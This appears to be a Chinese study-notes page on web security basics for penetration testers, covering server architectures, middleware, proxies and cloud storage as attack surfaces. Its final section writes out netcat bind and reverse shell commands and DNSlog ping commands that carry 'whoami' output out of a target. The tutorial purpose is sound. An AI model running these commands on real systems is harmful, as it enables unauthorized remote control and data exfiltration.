『web安全』web安全基础
渗透测试
-
为什么探测域名真实IP很重要
- 以目录扫描为例,如果我们直接对域名进行扫描,那么就只能扫到网站源代码中该域名绑定的目录(一般是www)文件夹下的子文件。如果对该域名绑定的IP进行扫描,那么获取到的就是根目录上的文件,有的可能直接将网站源代码放在根目录上
一般根目录下一个文件夹绑定一个域名
本文主要对web安全常见的攻击面进行描述,主要包括:
- 中间件
- web源码
- 系统与数据库
值得注意的是:除去常规web安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了web应用或其他安全问题。所以明确安全测试思路是很重要的!
靶场
- pikachu:初步理解漏洞
web架构
常规服务搭建
步骤:
- 购买云服务器和域名
- 云服务器搭建中间件:如IIS、Nginx等
- 下载并上传网站源代码
- 添加网站并设置域名解析
- 启动和测试服务
集成软件搭建
-
原理
通过打包类集成化环境,自动化实现服务器的搭建和管理
宝塔面板、PhpStudy等
-
不同的集成软件,安全性存在差异
例如:默认情况下,phpstudy是允许目录访问、命令执行的,但是宝塔并不允许,这样攻击者攻入phpstudy搭建的网站时权限更高
Docker容器
-
原理
采用虚拟化技术独立磁盘空间构建容器,只隔离应用程序的运行时环境但容器之间可以共享同一个操作系统,这里的运行时环境指的是程序运行依赖的各种库以及配置。解决了同一服务器上部署多个web应用需要的多种环境问题
-
对安全测试的影响
拿到网站权限后,访问网站目录我们可以发现访问的并不是真实目录,而是虚拟空间的目录,权限也并不是真实的权限
对抗技术:docker逃逸
站库分离
-
什么是站库分离
源码和数据库放在不同的内网服务器上,或者使用了公网数据库,如自建公网数据库、阿里云、华为云等云数据库产品。
-
对安全测试造成的影响
数据被单独存放,需要能够连接上才可以影响数据。这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据。
-
站库分离渗透思路
前后端分离
-
什么是前后端分离
前端和后端完全独立,前后端通过HTTP接口(通常是JSON格式)进行数据交互。
- 后端:仅提供API,负责数据和业务逻辑的处理
- 前端:专注于界面展示和用户交互,使用现代JavaScript框架处理复杂的UI逻辑
-
对安全测试造成的影响
传统的web架构(如php开发)需要前后端一起部署,代码运行在同一环境中。
而前后端分离的架构可以分别部署前端和后端,前端代码可以托管在静态服务器或CDN上,后端独立运行服务。
- 前端JS框架一般不会存在漏洞:JS语言特性决定
- 难以获取后端域名:一般问题都在后台,但是扫描不到,只能通过信息收集获取
- 获取权限可能不影响后端:即使在前端上传了后门,也可能不影响后端
托管网站
-
什么是托管网站
有些公司只是想弄一个网站来打广告,做一个静态的页面展示,并不想要花比较高的成本去购买服务器。在这种情况下可能会找到网站托管平台,利用别人的服务器托管一个简单的网站,托管平台直接分配一个域名
例如:凡科建站
-
对安全测试的影响
我们对托管网站进行安全测试得到的资产并不是目标的资产,而是这个托管平台的资产,进行攻击并没有意义
-
检测是否为托管网站
查这个网站的公司,如果不是目标公司(例如,网站域名的所有者是凡科建站),就说明这个网站为托管网站
Web基础概念
中间件
-
什么是中间件
中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统的软件。相连接的系统,即使它们具有不同的接口,但通过中间件相互之间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件,应用程序可以工作于多平台或OS环境。
-
中间件的分类
中间件种类繁多,包括:Web中间件、数据库中间件、消息中间件、安全中间件、事务中间件、应用程序服务器中间件、分布式计算中间件等。
- Web服务器中间件:用于接收和处理HTTP请求的软件,提供Web服务。包括 Apcahe、Nginx、IIS、lighttpd 等
- 缓存中间件:通过缓存常用的数据和对象,减少了对后端系统的请求次数,从而提高了应用程序的响应时间和吞吐量。包括Redis、Apache Ignite等
- 应用服务器中间件:用于处理应用程序的业务逻辑的软件,它们通常用于Java EE和其他应用程序开发技术中。包括 Tomcat、Jboss、Weblogic、Websphere 等
- 安全中间件:保护应用程序和网络安全的软件,它们通常用于防止攻击、授权和身份验证、加密和解密数据等。包括TLS、WAF等
1)参考:什么是中间件?中间件有哪些?
2)web服务器和应用服务器有什么区别?
-
web服务器
-
数据类型:处理静态数据(HTML文件、CSS、JS、图片等)。
-
工作模式
接收HTTP请求 -> 从文件系统中查找资源 -> 返回给客户端。
-
端口:一般与80、443端口有关
-
-
应用服务器
-
数据类型:处理动态数据(与数据库交互、业务逻辑计算)。
-
工作模式
接收请求 -> 执行应用逻辑 -> 生成动态响应内容(如HTML、JSON) -> 返回给Web服务器。
-
端口:应用服务器都有自己独特的端口,例如Tomcat一般使用8080,Weblogic一般使用7001
-
-
中间件的影响
中间件配置直接影响服务器行为,包括缓存、负载均衡、安全设置等,对Web应用的性能和安全性有重要影响。
-
中间件识别
- 中间件识别:数据包头部的server字段
- 中间件漏洞利用:参考 https://vulhub.org/#/docs/
- 中间件漏洞学习靶场:https://vulhub.org/#/environments/
- 安装使用教程:https://blog.csdn.net/xiangxue888/article/details/143696039
- 如果将靶场安装在虚拟机上面,想要在物理机上访问,所使用的ip为
ens33
接口的 IP 地址,它是虚拟机在外部网络中的地址,可以用来与虚拟机进行通信。
第三方软件或服务
-
什么是网站的第三方软件和服务
网站的第三方软件和服务指的是由其他公司或开发者提供的工具、应用程序、或服务,这些工具可以集成到网站中,用于实现特定功能或提高效率。这些第三方服务通常通过API、插件、或嵌入式代码与网站交互。
-
常见的第三方软件和服务类型
- 身份验证与安全
- 功能:管理用户登录和增强安全性。
- 示例:Auth0、Google OAuth、reCAPTCHA。
- 客服与聊天工具
- 功能:与用户实时沟通。
- 示例:Zendesk、LiveChat、Intercom。
- 云存储和CDN
- 功能:提高内容加载速度和数据存储效率。
- 示例:AWS S3、Cloudflare、Google Cloud CDN。
- 身份验证与安全
-
第三方软件或服务识别
使用nmap进行服务扫描,version部分显示服务
1
2# nmap -O -sV IP
nmap -O -sV 10.1.1.130
路由访问
现在有很多网站的路径并不是和网站源码目录对应,而是根据路由的配置决定。
在我们上传后门的时候,如果后门所在目录不在路由配置里面,可能无法访问
正向代理和反向代理
推荐看这篇文章,非常的通俗易懂:终于有人把正向代理和反向代理解释的明明白白了!
-
差异
正向代理服务器和反向代理服务器所处的位置都是客户端和真实服务器之间,所做的事情也都是把客户端的请求转发给服务器,再把服务器的响应转发给客户端,但是二者之间还是有一定的差异的:
- 1)正向代理其实是客户端的代理,帮助客户端访问其无法访问的服务器资源。反向代理则是服务器的代理,帮助服务器做负载均衡,安全防护等。
- 2)正向代理一般是客户端架设的,比如在自己的机器上安装一个代理软件。而反向代理一般是服务器架设的,比如在自己的机器集群中部署一个反向代理服务器。
- 3)正向代理中,服务器不知道真正的客户端到底是谁,以为访问自己的就是真实的客户端。而在反向代理中,客户端不知道真正的服务器是谁,以为自己访问的就是真实的服务器。
- 4)正向代理和反向代理的作用和目的不同。正向代理主要是用来解决访问限制问题。而反向代理则是提供负载均衡、安全防护等作用。二者均能提高访问速度。
-
对安全测试造成的影响
访问目标只是一个代理,非真实应用服务器
OSS对象存储服务
-
原理
OSS(Object Storage Service,对象存储服务)是一种基于对象存储技术的云存储服务,常用于存储和管理海量的非结构化数据,提高访问速度。OSS提供了高可用性、高扩展性和高可靠性的存储解决方案,适用于图片、视频、音频、备份数据、日志文件等多种类型的数据。
-
为什么要使用第三方存储?
- 静态文件会占用大量服务器带宽
- OSS加载速度快
- 占用大量服务器存储空间
-
对安全测试造成的影响
- OSS存储只是单纯的储存数据资源,没有代码执行环境,即使上传了后门脚本,也无法解析,相对于直接上传到网站服务器上,更加安全。
- 带来了
Accesskey
的隐患: 可能造成Accesskey的泄露,攻击者可以登录OSS
负载均衡
- 原理
大型网站都要面对庞大的用户量,高并发,海量数据等挑战,可以采用负载均衡来提升系统整体的性能。将同一应用部署到多台机器上,将用户访问请求,通过某种算法,分发到集群中的节点进行处理,并返回相应数据。
-
对安全测试造成的影响
有多个服务器加载服务,测试过程中存在多个目标情况
渗透测试基本概念
正(反)向连接和正(反)向shell
-
正向连接(Forward Connection):
正向连接是一种常见的网络通信模式,其中客户端主动发起连接到服务器或目标系统。正向连接通常用于客户端-服务器通信,客户端主动请求服务或资源,例如网页浏览、电子邮件发送和接收等。在正向连接中,客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。
-
正向shell
正向 shell 通常使用正向连接来建立与目标系统的连接。在正向 shell 攻击中,攻击者的控制服务器充当客户端,主动连接到目标受害者服务器,建立正向连接。一旦连接建立,攻击者可以远程执行命令,访问目标系统并控制它。
-
linux控制windows
1
2
3
4
5# 受害者服务器将cmd绑定到待连接端口
nc -e cmd -lvp 5566
# 攻击者的控制服务器主动连接目标端口
ncat 47.122.23.131 5566 -
windows控制linux
1
2
3
4
5# 受害者服务器将sh绑定到待连接端口
nc -e /bin/sh -lvp 5566
# 攻击者的控制服务器主动连接目标端口
ncat 47.122.23.131 5566
注意:windows下是没有nc的,需要先下载nc.exe,如果目标服务器是windows可以先通过rce进行下载
-
-
反向连接(Reverse Connection)
反向连接是一种网络通信模式,其中目标系统主动建立与控制系统或服务器的连接。反向连接通常用于合法的远程管理和控制,例如远程桌面会话、SSH远程管理等。在反向连接中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。
反弹shell
-
概念
反弹 shell 通常使用反向连接来建立与目标系统的连接。攻击者在目标系统上执行恶意代码,该代码使目标系统成为客户端,主动连接到攻击者的控制服务器,建立反向连接。一旦连接建立,攻击者可以远程执行命令,访问目标系统并控制它。
-
在安全测试中的使用场景
- 存在漏洞但是并不回显,导致我们不知道RCE命令是否执行,可以建立反弹shell
- 防火墙存在入站策略,未设置出站策略
-
方法
快速生成反弹shell命令:https://forum.ywhack.com/shell.php
一般使用NC(ncat)瑞士军刀:linux系统下自带,windows下需要下载。
1
2
3
4
5# nc -lvp 攻击机监听的端口
攻击者:nc -lvp 4444
# nc -e /bin/sh 攻击机IP 攻击机监听的端口
受害者:nc -e /bin/sh 192.168.239.128 4444 -
在不同场景下的实例
1)目标服务器在内网环境下,攻击机在外网
目标服务器存在内网IP和外网IP(其实是路由器的公网IP,内网中的多个机器共用这个路由器的公网IP)。如果建立正向shell,连接走到内网的路由器上就不能继续找到内网的目标服务器了,这个时候就需要建立反向shell。
2)如果攻击机和目标服务器都在内网环境下
待补充,找一个跳板
带外查询
当开启防火墙的入站和出站策略后,数据不回显。
参考:DNSlog 带外查询
-
linux
1
2# 将whoami执行后回显的信息通过dnslog带出来
ping `whoami`.vpod5d.dnslog.cn -
windows
1
2
3# cmd不能使用反引号运算符,所以使用powershell的变量存储信息
# 结果中带有'\'所以导致ping命令无法执行
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
为什么开启防火墙后 whoami数据还是可以带外回显?
ping命令走的ICMP协议,而防火墙禁用端口是控制TCP/UDP协议,也就是控制传输层,
但是ICMP是网络层,是传输层下层,不受防火墙影响。所以可以使用ping命令将数据带出。
渗透测试中的常用命令
文件上传下载
主要用于解决无图形化数据传输的问题
可以使用该工具进行快速生成文件下载命令:https://forum.ywhack.com/bountytips.php?download
1 | - Linux:wget curl python ruby perl java等 |